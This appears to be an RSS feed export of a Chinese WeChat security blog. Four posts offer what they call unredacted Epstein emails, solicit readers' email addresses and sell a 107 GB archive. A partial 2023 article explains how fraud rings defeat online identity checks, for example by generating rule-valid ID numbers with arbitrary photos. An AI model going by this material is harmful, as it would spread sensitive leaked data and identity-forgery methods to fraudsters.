<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>奶牛安全</title>
    <link>https://wechat2rss.xlab.app/feed/7772ec79ac327394596861ae412fc25a823e09d0.xml</link>
    <description>像奶牛一样分享奶牛，不对，是安全技术。生如草芥，璨若星河&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (奶牛安全)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ZrflCvDI141Xyx0Faibeesicibpz9Xx9icXDuWicSAVicoogg/0</url>
      <title>奶牛安全</title>
      <link>https://wechat2rss.xlab.app/feed/7772ec79ac327394596861ae412fc25a823e09d0.xml</link>
    </image>
    <item>
      <title>爱泼斯坦无码邮件原文第四批：它个人gmail邮箱10封邮件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489612&amp;idx=1&amp;sn=8a3c6c01789f71e1e44106f269a1f63f</link>
      <description>因为资料过于敏感，不提供下载地址，有兴趣的朋友请私信我，把你的个人邮箱留下，我给你发。</description>
      <content:encoded><![CDATA[<p>原创 <span>debugeeker</span> <span>2026-02-07 20:07</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3d9e7ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FbdO487e927ASQGyDjpQwONQn0ictpBBZeqnYR6D3Obwn58xjeGUGsTDOHCZn32ibA3VhajuS2HVCNCtwMzLwmVic6h8ZicQxZ2qiccTsV64nPJYY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span style="color: rgb(255, 23, 0);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.578px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(25, 25, 25);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 23, 0); font-family: mp-quote, \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 24px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.578px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;  background-color: rgb(25, 25, 25); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">因为资料过于敏感，不提供下载地址，有兴趣的朋友请私信我，把你的个人邮箱留下，我给你发。想购买这107G资料也是可以，300块买下载的种子文件。想做自媒体的朋友，可以留意一下。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005942" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4b8d9a60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927AuXwema5DuBcxVGMDpJMNfiaN3RiampLA33ictWN5aqDdppdMCovt1za9SKPmIibf6LxyESTlLcaibZ2AWH8VhGh53upIicfJ6lO1Kg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005941" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=caedaa09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927A9F6oLY7WBTkjDnGHG6ZGoLfNPP0ZxJSZvROr6J0dsUrLwmOBY9IRnR0A7BicTE2ZdXicdVpD7ajG7x1yPf8OmVuoo9yCRyz3Ik%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005944" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=34d462c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927BzAOadYDTx8A15VCI8DH1C2fUvn5oINsKTEqTQzdyjoucbu8ic4YtmibPcmF2xdYXMia4KruEBRwAmrOHa5icl2iczlicDmvicDRjQIQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005945" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c01a2136&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927BSd0zK533icu0jWP8XXibZ9zia5fCuMRtSpVImDZ0LftftBBialo23WVzPpuFYuz8emWZBFE3Rf16thZrGrRb6FlyeA1fCIvFVhrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005946" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=37b419d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927BDX60CasBNh9VkiczLTIA9QJLh151Y4fFHbVsQoCFrDV8mITV3ZEoMET3PFrIqvupYMRdZtPqs3Qa2OfAjYxtjVKicCibfnKpb3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005947" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fde310d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927CErtmX1ZngJQiaPBILt6gmukFeHZkibAyVwgfyxP1ky2dZsylCIU4ZvGMbThdYZXWoDdvMAE4vaich8R59boGFLXEaQmmyJYib3o4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005953" data-ratio="0.4731823599523242" data-s="300,640" type="block" data-type="png" data-w="2517" src="https://wechat2rss.xlab.app/img-proxy/?k=8e5727db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927BWKIeMLR94HVMT86iaV8iay5OgVnibpicgllFmFA9A9YiaE3Ej1Rg02g2y3NPWicxKIyQPXg5ZNBRfscTn5eYcib7mJ9kdSoWokR23M8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="8"></mp-pay-preview-filter></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6438691b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489612%26idx%3D1%26sn%3D8a3c6c01789f71e1e44106f269a1f63f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 07 Feb 2026 20:07:00 +0800</pubDate>
    </item>
    <item>
      <title>爱泼斯坦无码邮件原文第三批：它个人gmail邮箱10封邮件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489586&amp;idx=1&amp;sn=84eb8a3c7aba9d3379331fa5f34ae154</link>
      <description>由于jeeproject@yahoo.com是他用来在社交网站注册账号用的邮箱，大多只是通知邮件，所以，只放Jeffrey Epstein &lt;jeevacation@gmail.com&gt;的内容</description>
      <content:encoded><![CDATA[<p>原创 <span>debugeeker</span> <span>2026-02-06 10:28</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=92dfaad6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FbdO487e927DPYrJfu5DbicSMaZtibAhmqJCZzBGznqPmdMcb8xOvMy7cEyjC0DDd6BDChAYQlpaibTO6gP5J8mDOOGWkrN5CicSrA2iaYRibmG3Cw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>由于jeeproject@yahoo.com是他用来在社交网站注册账号用的邮箱，大多只是通知邮件，所以，只放Jeffrey Epstein <jeevacation@gmail.com>的内容</p>
  <p><span leaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="1.1931166347992352" data-w="523" src="https://wechat2rss.xlab.app/img-proxy/?k=f85e6f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927BcBM55Em5yia2vUcwmddsgTHY9dSha9RVdgRc9vZVx5joS89J3FlxZTFg7OBaOpYQ6wfQIRXic5zCmcibabSDgliazok2TdCCicqibw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26watermark%3D1%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></span></p><p><span leaf="">由于</span><span leaf="">jeeproject@yahoo.com是他用来在社交网站注册账号用的邮箱，大多只是通知邮件，所以，后面不放这个目录下的邮件，虽然他在亚马逊的购买记录有点用。</span></p><p nodeleaf=""><mp-common-cpsad class="js_uneditable custom_select_card new_cps_iframe" data-pluginname="mpcps" data-adtype="short-play" data-templateid="video-play" data-cpsversion="v122" data-goodssouce="1" data-videocarddata="{&#34;dramaName&#34;:&#34;提灯定损，房东阿姨她追悔莫及&#34;,&#34;categoryName&#34;:&#34;都市&#34;,&#34;videoCoverUrl&#34;:&#34;https://wxaintpcos.wxqcloud.qq.com.cn/public/wxa36aaf8a1395392c/WxaDramaCoverImage/53e14ddb2a794aa7cbcb1fa1f518bd15.jpg&#34;,&#34;dramaNum&#34;:50}" data-showchangebtn="1" data-disablechangevideo="1" data-dramaid="760465" data-srcappid="wxa36aaf8a1395392c" data-playappid="wx13dd063bf9f09a60" data-planid="202503240954443578880" data-traceid="6178fc15-3e39-485e-a7f7-1f7e02bc56fe760465" data-defaultpath="plugin-private%3A%2F%2Fwx94a6522b1d640c3b%2Fpages%2Fplaylet%2Fplaylet%3FdramaId%3D760465%26srcAppid%3Dwxa36aaf8a1395392c%26wxTicket%3DdGlja2V0MTA2MTQyMTc3MjY5MDk5NjE0OTU4NDg3OTM" data-mediano="1"></mp-common-cpsad></p><p><span leaf="">后面放的是Jeffrey Epstein &lt;jeevacation@gmail.com&gt;这个邮箱的来往邮件（这10封）：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4396887159533074" data-s="300,640" data-type="png" data-w="771" type="block" data-imgfileid="100005935" src="https://wechat2rss.xlab.app/img-proxy/?k=448b01e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927ALrTicXib8nXLsAGVJySEMZFz0wrDxtEcoJf6KTJA49KegbYqV2JUE4L6VNVd0Gx37OsiboyHNqyzPemlJSxrZbw657IOBHck0k0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8336956521739131" data-s="300,640" data-type="png" data-w="920" type="block" data-imgfileid="100005931" src="https://wechat2rss.xlab.app/img-proxy/?k=d3c6eb1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927AicuO5IjIbr2fKv0zMRUpiaIdBeMlSwE1yfhO7uDc8SMiaAHatRxMkt7M6mElwrRIXebHAkAfZZAia9wwnQo0eIqcKtyeshr7ap5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6739386792452831" data-s="300,640" data-type="png" data-w="1696" type="block" data-imgfileid="100005933" src="https://wechat2rss.xlab.app/img-proxy/?k=0c2a3dff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927BDADNDiaBMQRFzBVrviceuJo2Qjj6ISZTDAdkpMic2NdubV9uKc26XuKJYXHcLebj1XPFp6E8gExZL7evS6licpwCkibQnTjJj4XmY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;color: rgb(255, 0, 0);font-weight: bold;">因为资料过于敏感，不提供下载地址，有兴趣的朋友请私信我，把你的个人邮箱留下，我给你发。想购买这107G资料也是可以，300块买下载的种子文件。想做自媒体的朋友，可以留意一下。</span></span></span></p><p nodeleaf=""><mp-common-cpsad class="js_uneditable custom_select_card new_cps_iframe" data-pluginname="mpcps" data-adtype="mini-game" data-templateid="video-play" data-cpsversion="v122" data-goodssouce="1" data-videocarddata="{&#34;name&#34;:&#34;文字来找茬呀&#34;,&#34;categoryName&#34;:&#34;小游戏&#34;,&#34;videoCoverUrl&#34;:&#34;https://mmgame.qpic.cn/image/93d467f7a2e99496504f220e462a16f21cadd86555801afdfdb56497392a5858/0&#34;,&#34;videoUid&#34;:&#34;wxv_3435856881569497093&#34;,&#34;categoryInfo&#34;:&#34;益智&#34;}" data-showchangebtn="1" data-disablechangevideo="1" data-traceid="691e4e54-45c1-4ede-998b-424a77ad7332wxcc9a104b861c9084" data-appid="wxcc9a104b861c9084"></mp-common-cpsad></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a50a6379&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489586%26idx%3D1%26sn%3D84eb8a3c7aba9d3379331fa5f34ae154">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 06 Feb 2026 10:28:00 +0800</pubDate>
    </item>
    <item>
      <title>爱泼斯坦无码邮件原文第二批：2007年11月</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489576&amp;idx=1&amp;sn=7d366c4e49c6cac86365e2cc19893583</link>
      <description>因为资料过于敏感，不提供下载地址，有兴趣的朋友请私信我，把你的个人邮箱留下，我给你发。想购买这107G资料也是可以。</description>
      <content:encoded><![CDATA[<p>原创 <span>debugeeker</span> <span>2026-02-05 10:46</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9173db18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbxIiavapkfDc80AobHu4XaxXsav7aEfWTwg7FY29wCAKfyHxNGZGmTRdHialh5VpllJqFQ49jIVApdg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1931166347992352" data-s="300,640" data-type="png" data-w="523" type="block" data-imgfileid="100005927" src="https://wechat2rss.xlab.app/img-proxy/?k=2816a1c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbxIiavapkfDc80AobHu4XaxXmeYBO41MSO7kPOicmuqL8yhml3Hzk9SNQicS3rhRkMQc6Q2JQhcfu7Ag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.211864406779661" data-s="300,640" data-type="png" data-w="590" type="block" data-imgfileid="100005923" src="https://wechat2rss.xlab.app/img-proxy/?k=2e1e9340&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbxIiavapkfDc80AobHu4XaxX3UkgYibNI7I8maUB8lfu8zaib7bPP8sXlMF3HgGaMcfMVZeOUjuYMJew%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.8157407407407408" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=01e362ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FbdO487e927C77vNka7icmM2C4ssG8zIiagUK32cl6vOm8mxvy8P360aQPlI9n05nbEicPZdbrP8PcMbG4wB3lSoibBhFdL1t4ZA1Q79osZcmvac%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26watermark%3D1%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></span></p><p class="mp_common_product_iframe_wrp" nodeleaf=""><mp-common-product data-windowproduct="v2=HLxX58MpDdEHk99XMeUMpwJQWEHV08McvPstVSVaEMwZkrUdOIPnXazqsseXj3C1N_N0tadzF0SygA" data-cardtype="0" data-title="【顺丰快递】正宗四川春见耙耙柑新鲜水果农家果园现摘先发粑粑柑桔子" data-type="0"></mp-common-product></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.251068376068376" data-s="300,640" data-type="png" data-w="936" type="block" data-imgfileid="100005924" src="https://wechat2rss.xlab.app/img-proxy/?k=f4a2bde2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbxIiavapkfDc80AobHu4XaxXlVfDcvZc31vlEfzMLtdS6FwiaAnecHJGV4yMYtr7q1icmRylW4JRVVHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(255, 0, 0);font-weight: bold;">因为资料过于敏感，不提供下载地址，有兴趣的朋友请私信我，把你的个人邮箱留下，我给你发。想购买这107G资料也是可以。想做自媒体的朋友，可以留意一下。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d49c7b40&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489576%26idx%3D1%26sn%3D7d366c4e49c6cac86365e2cc19893583">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 05 Feb 2026 10:46:00 +0800</pubDate>
    </item>
    <item>
      <title>爱泼斯坦邮件原文（2007年9月-2007年10月）第一批</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489565&amp;idx=1&amp;sn=d9c3789e03054321f021775db8607026</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>debugeeker</span> <span>2026-02-04 18:19</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=06919e93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FbdO487e927Aqt82sUPTPZpac8CLD2Klrt1Ws0zhR9ZmclH7oErU5AEGWIW5q487FIk6vnAPhsic3rxic7paIiaeWr9RC3ibUoMAc1NbTKoorpCE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span leaf="">总数13010（仅这个yahoo邮箱), 先放6封，剩余13004封</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8157407407407408" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005913" src="https://wechat2rss.xlab.app/img-proxy/?k=06533919&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FbdO487e927Cg2B0SCJ3RicNpf4pwCZRvxcB6xPMGKicHQdjcQ14ic448LW2ZWglWWpcvOiaRibTXr3ibbtrpxOVC3YOSesAnSEAcaB4yekjkOQzBM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">下载地址</span></p><p><span leaf=""><a class="wx_topic_link" topic-id="ml7vdmnq-gcqihu" style="color: #576B95 !important;" data-topic="1"></a></span></p><p><span leaf="">密码获取方式：</span></p><p><span leaf="">在本公众号打出</span><span style="color: rgb(26, 27, 28);font-family: -apple-system, system-ui, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;SF Pro Text&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Heiti SC&#34;, Arial, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">ep20260204，将会自动回复密码。</span></span></p><p><span leaf="">注意：</span></p><p><span leaf="">文件在下载100次或24小时后自动删除，请从速</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=059283a0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489565%26idx%3D1%26sn%3Dd9c3789e03054321f021775db8607026">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Feb 2026 18:19:00 +0800</pubDate>
    </item>
    <item>
      <title>黑产反追踪手段1：千面人魔</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489555&amp;idx=1&amp;sn=2e7aaf532933493609432ab87bd13679</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-07-01 17:11</span> <span style="display: inline-block;">广东</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=aa443069&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwxlwYehoIu8CP0hrd4Twp54XYCog4ic8KEUc65uSa2J3GkWVZAHIyx2t66uoiay5oAeOYL0I7RHoEg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>从事网络保安这一行已经有好几年了，手上负责的系统也刚好和刷单，刷票，刷优惠券，欺诈这些灰黑产做对抗的，往往很多时候对那些可疑行为或恶意行为进行溯源，因而对黑产的一些手段有所了解。</p><p>灰黑产是一个非常暴利的行业，也是一个非常高风险的行业。用一句话来形容：要么别墅靠海，要么监狱靠海。为了逃避法律制裁，不少灰黑产人员采用肉身翻墙或各种伪造身份的方式来从事这行业。</p><p>这也是本文取名“千面人魔”的来源。千面，是指他们伪造各种身份，像有很多张脸一样，而人魔自然是形容他们作为人从事这种违法的行当。</p><p>在网络上，要识别一个的身份，无外乎几方面：身份证，个人视频或图片，手机号，电子邮箱和手机指纹。</p><p style="text-align: center;"><span style="font-size: 28px;font-weight: bold;">身份证</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">​现在网上支付非常普遍，各种金融类的app（如银行，贷款，基金，股票之类），电商平台（京东，淘宝，拼多多等）和社交平台（微信，微博，抖音等）会要求实名认证，有些甚至要求上传身份证的正反面照片。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">身份证识别技术有两种：一，读取身份证芯片信息确认个人身份。二，通过读取身份证图片信息来确认个人身份。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">第一种，往往需要专门设备，需要线下，也要公安授权。所以，网络平台不会采用这种方式。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">第二种呢，要做得非常完备，大致过程如下：</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">1，使用ocr技术读取身份证号和姓名（车牌识别也是这种技术）</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">2，检验身份证号是否符合身份证号生成规则</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">3，使用视觉识别读取人脸信息</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">4，调用政府提供的政务系统来校验身份证号，姓名和人脸。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">第一，第二项，成本很低，很快实现。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">第三项，除了大厂有自己的人脸识别技术，一般只能采购商汤（老东家之一），旷视，云丛之类ai厂商的sdk。有技术难度，有研发对接成本和商务成本。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">第四项，需要有一定的资质认证（没几年时间下不来），需要有合规团队，每年要面对审计几次，也有研发对接成本。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">所以，很多网络平台往往只实现了第一，二项，就认为这人的身份有效，它们仅仅把身份证图片存储起来。所以，这也给灰黑产从业人员的伪造机会。灰黑产人员只需要按照身份证生成规则就可以生成一个有效身份证号，在网上随便找张图片和姓名，就生成一张有效的身份证号图片，就这么简单就可以伪造一个身份了。</span></p><p style="text-align: left;">当然，有些恨国党肯定会说，就是因为zf对资质要求太严，催生了诈骗的土壤。其实，这正是zf保护大家的隐私。在暗网上看到各种贩卖数据，其中身份证图片这一块，往往是这些只实现了一二项的企业泄露的。这些企业呢，无论是合规团队和网络保安队伍，还是研发团队，都不肯花钱，从而保护不了用户数据，被黑客拿到这些数据。当然也没有严格的数据管理和数据保护流程，所以，很多人的数据就直接被内鬼卖了。</p><p style="text-align: left;">同时，大家尽量少往网上放自己照片，说不定就变成一个假身份证的图片。</p><p style="text-align: left;">对于那些对接政府系统来校验身份的平台呢，灰黑产也有方法伪造。前几年，他们是通过买身份证的方式，比如大家熟知的三和大神就是把身份证卖给他们，也有去偏僻山区买当地老人的。由于这几年国家打击严了，他们没办法在境内做这勾当，于是肉身翻墙到境外搞，但境外没有中国人，就骗一些人过去。被骗过去的人，首先是强迫他们用身份证在各种银行app和贷款app开账户，把钱贷出来，再转到境外。</p><p style="text-align: center;"><span style="font-size: 28px;">个人视频和图片</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">​不少app使用人脸识别技术来做验证手段，它的主要步骤为：</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">1，通过表情和动作识别是否为真人</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">2，识别出人脸</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">3，和身份证的图片对比，确认和身份证符合</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">4，与政府的政务系统对接，识别人脸是否符合</span></p><p style="text-align: left;"><span 